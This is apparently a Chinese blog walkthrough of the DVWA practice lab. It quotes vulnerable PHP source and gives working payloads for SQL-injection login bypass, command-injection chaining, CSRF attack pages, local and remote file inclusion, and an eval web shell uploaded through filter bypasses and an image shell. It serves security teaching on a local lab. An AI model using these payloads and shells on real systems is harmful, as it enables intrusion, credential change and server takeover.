Contents
  1. 1. 前言
  2. 2. Brute Force
    1. 2.1. DVWA Security:low
    2. 2.2. DVWA Security:medium
    3. 2.3. DVWA Security:high
  3. 3. Command Injection
    1. 3.1. DVWA Security:low
    2. 3.2. DVWA Security:medium
    3. 3.3. DVWA Security:high
    4. 3.4. DVWA Security:impossible
  4. 4. CSRF(Cross-site request forgery)
    1. 4.1. DVWA security:low
    2. 4.2. DVWA security:medium
    3. 4.3. DVWA security:high
  5. 5. File Inclusion
    1. 5.1. low
    2. 5.2. medium
    3. 5.3. high
  6. 6. file upload
    1. 6.1. low
    2. 6.2. medium
    3. 6.3. high

前言

一个小型靶场。

Brute Force

DVWA Security:low

这题的名字是爆破,那我们就爆破一下试试

先随便提交一个密码和用户名,打开代理,bp抓包

uwBjbR.png

然后,发送到Intruder模块,进行如下设置

uwDEqA.png

然后载入字典

uwDQxg.png

uwDBM4.png

然后start attack,在结果中找到长度特殊的就是正确的用户名和密码

uwD5sH.png

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

可以看出来没有对username和password进行任何过滤,这里存在SQL注入漏洞。

username=admin' or '1'='1或者username=admin'#,即可成功登入

uwLjpT.png

DVWA Security:medium

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

查看源码即可发现,这段代码里面添加了一个mysqli_real_escape_string()函数,这个函数主要对一些特殊字符作出了过滤,具体查看mysql_real_escape_string()

本函数将 unescaped_string 中的特殊字符转义,并计及连接的当前字符集,因此可以安全用于 mysql_query()。

mysql_real_escape_string() 调用mysql库的函数 mysql_real_escape_string, 在以下字符前添加反斜杠: \x00, \n, \r, , ‘, “ 和 \x1a.

这个函数能抵挡大部分的SQL注入,但是也有缺陷,可以看看。

虽然无法SQL注入,但还是可以进行爆破,只是有个sleep()函数延时,步骤就像low一样,即可登入。

DVWA Security:high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>

high 的代码中又添加了一个函数 stripslashes(),来去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个.

还有mysqli_real_escape_string()函数过滤一些特殊字符,防止SQL注入。

此外,这代码中还添加了token,每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。

impossible级别的代码中,加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。

参考文章

Command Injection

即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。

DVWA Security:low

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>

这段代码中,主要是两个函数

stristr(string,search,before_search)

stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符),可选参数before_true为布尔型,默认为“false” ,如果设置为 “true”,函数将返回 search 参数第一次出现之前的字符串部分。

php_uname(mode)

这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。

漏洞利用

window和linux系统都可以用&&来执行多条命令

payload:127.0.0.1&&dir

uD1XG9.png

DVWA Security:medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>

medium级别的代码中,用一个数组替换了**&&;,但是并没有过滤掉&**,也可以这样写127.0.0.1&;&dir,再或者使用127.0.0.1|dir

payload:127.0.0.1&dir或者127.0.0.1&;&dir

uDtdPS.png

“&&”和“&”的区别:

ping 127.0.0.1&&dir

先执行ping 127.0.0.1,执行成功,再执行dir,否则不执行dir

ping 127.0.0.1&dir

无论ping 127.0.0.1是否执行成功,都会执行dir

DVWA Security:high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>

high级别的代码中添加了更严格的过滤,过滤了&、;、| 、-、$、(、)、`、||。

过滤了”| “(后面多个空格),只要没有空格就可以绕过,就不会被滤掉,

payload:127.0.0.1|dir

uD0HZd.png

DVWA Security:impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>

stripslashes(string)

stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。

explode(separator,string,limit)

把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。

is_numeric(string)

检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。

可以看到,Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

如何测试命令注入

总结
命令注入漏洞是特别危险的,因为它们允许未经授权的执行操作系统命令, 它们的存在,因为应用程序无法正确地验证和消毒,使用时调用shell的功能,如的参数。 攻击者与控制这些参数可以欺骗应用程序执行任何系统命令自己的选择。
例如,UNIX应用程序列出了使用的文件夹的内容。 它需要的字符串FOLDER_NAME,从用户,没有任何验证,连接到“ls”的建立实际的命令。 应用程序,然后通过命令(“LS FOLDER_NAME “)的系统()函数,并获取结果。 一个命令注入漏洞,允许攻击者注入额外的命 令在输入字符串FOLDER_NAME的, 其结果是被欺骗应用程序执行攻击者的额外的命 令。
为了正确测试命令注入漏洞,应遵循以下步骤:
 第1步: 了解攻击场景
 第2步: 分析原因及对策
 第3步: 开始试验和探索
 第4步: 微调测试案例

参考文章1

参考文章

CSRF(Cross-site request forgery)

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

DVWA security:low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

尝试更改密码

urieIK.png

链接变成了http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

那么我们可以构造一个CSRF攻击的链接,用同一个浏览器点击这个链接http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

就会改掉密码,变成password

需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Firefox登录的这个系统,而用Chrome点击这个链接,攻击是不会触发的,因为Chrome并不能利用Firefox的cookie,所以会自动跳转到登录界面。

urFiY8.png

构造攻击页面

现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。在本地写一个test.html,下面是具体代码。

1
2
3
<img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>

访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了password

也可以利用bp抓包之后,利用自带的工具CSRF PoC

uffNOf.png

得到一个脚本文件,复制之后,新建一个.html文件,

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/WWW/DVWA/vulnerabilities/csrf/">
<input type="hidden" name="password&#95;new" value="123" />
<input type="hidden" name="password&#95;conf" value="123" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

使用同一个浏览器打开,

ufTvAf.png

点击submit

uf7AH0.png

成功更改密码。

DVWA security:medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
$html .= "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

eregi(string pattern, string string)

检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。这个函数可使用url二次编码绕过。

使用eregi()函数检查HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是127.0.0.1),所以referer中必须含有主机地址才行

使用bp抓包后,

uf7L24.png

可以像上面一样,得到一个脚本文件

ufHIQH.png

保存成.html文件,访问之后,即可更改密码

ufHgdx.png

DVWA security:high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>

high级别的代码中添加了对token的验证,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

参考文章https://www.freebuf.com/articles/web/118352.html

参考文章https://www.cnblogs.com/xiaoqiyue/p/10144351.html

File Inclusion

File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

low

1
2
3
4
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

代码很少,就一行,没有对参数进行任何的处理,点击下面的三个链接,可以看到url中的变化

uhnmmd.png

尝试读取shadow文件http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=/etc/shadow

uhnJXQ.png

可以看到报错信息,可见不是Linux系统,而是Windows系统,同时也可以看到一个绝对路径F:\phpstudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php

尝试读取文件http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=F:\phpstudy\PHPTutorial\WWW\DVWA\php.ini

上面使用的是绝对路径,也可以使用相对路径,http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=..\..\php.ini

uhuXqJ.png

能够读取到php.ini配置文件,

远程文件包含

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态On时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。

假如,一个地址为x.x.x.x的服务器上包含一个phpinfo.txt文件,内容

1
2
3
<?php
phpinfo();
?>

那么就可以通过访问http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=http://x.x.x.x/phpinfo.txt,来执行phpinfo()函数

medium

1
2
3
4
5
6
7
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>

medium的代码中对一些字符进行了过滤,”http://“,”https://“

,”../“, “..\“,

这里过滤了..\,http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=..\..\php.ini应该是无法读取文件的,但是这里依然可以读取,有点懵

uh8RfA.png

这里使用绝对路径是完全没问题的

uhGitJ.png

这里过滤了http://https://,但是str_replace有很大的安全问题,可以使用大小写或者双写绕过这个检测,所以,远程文件包含,http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=htthttp://p://x.x.x.x/phpinfo.txt或者http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=HTtp://x.x.x.x/phpinfo.txt来实现远程文件包含。

high

1
2
3
4
5
6
7
8
9
10
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>

High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。fnmatch

看似安全,但是可以利用file协议来读取文件

http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=file://F:\phpstudy\PHPTutorial\WWW\DVWA\php.ini

uhN4Z6.png

file upload

即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>

basename() 函数返回路径中的文件名部分。

可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

所以,直接上传一个php马

1
2
3
<?php
@eval($_POST['hack']);
?>

KXaYnO.png

上传成功并且返回了文件路径,

KXdA5d.png

尝试访问,是一个空白界面,但是确实是有这个界面的。

KXd9KK.png

上菜刀

KX0dN4.png

KX0RED.png

成功拿到shell

medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>

medium代码中要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)

用burpsuite抓包更改一下文件类型即可。(也可以上传一个shell.jpg,然后抓包修改为shell.php)

在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为hack.php%00.png。

KXrcD0.png

成功上传,再次使用菜刀连接即可。

high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>

substr() 函数返回字符串的一部分。

strrpos() 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。

1
2
3
<?php     //找到“php”第一次出现的位置
echo strrpos("I love php, I love php too!","php");
?>

strtolower将字符串中所有的字母字符转换为小写并返回。

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 FALSE 并产生一条 E_WARNING 级的错误。

high的代码相当于一个白名单,只允许上传.jpg、.png、.jpeg后缀文件,文件大小小于100000。

所以,我们需要制作一个图片马,制作方法如下:

首先,找一个正常的图片test.jpg,然后再加上上面那样的php一句话木马,在cmd输入copy test.jpg/b + shell.php/a picshell.jpg

KjlJN6.png

得到的picshell.jpg文件中

KjlsEt.png

可以看到木马已经写进来了,可以上传了。

KjJQTs.png

直接上菜刀的话是不行的,因为这个文件不会被当成php来解析。所以这里要使用文件包含,文件包含有个漏洞,就是它不会识别是不是php文件,只要你使用了文件包含,它都会来当成php来解析,所以图片马就可被解析。

http://127.0.0.1/WWW/DVWA/vulnerabilities/fi/?page=file:///F:/phpstudy/PHPTutorial/WWW/DVWA/hackable/uploads/picshell.jpg

Contents
  1. 1. 前言
  2. 2. Brute Force
    1. 2.1. DVWA Security:low
    2. 2.2. DVWA Security:medium
    3. 2.3. DVWA Security:high
  3. 3. Command Injection
    1. 3.1. DVWA Security:low
    2. 3.2. DVWA Security:medium
    3. 3.3. DVWA Security:high
    4. 3.4. DVWA Security:impossible
  4. 4. CSRF(Cross-site request forgery)
    1. 4.1. DVWA security:low
    2. 4.2. DVWA security:medium
    3. 4.3. DVWA security:high
  5. 5. File Inclusion
    1. 5.1. low
    2. 5.2. medium
    3. 5.3. high
  6. 6. file upload
    1. 6.1. low
    2. 6.2. medium
    3. 6.3. high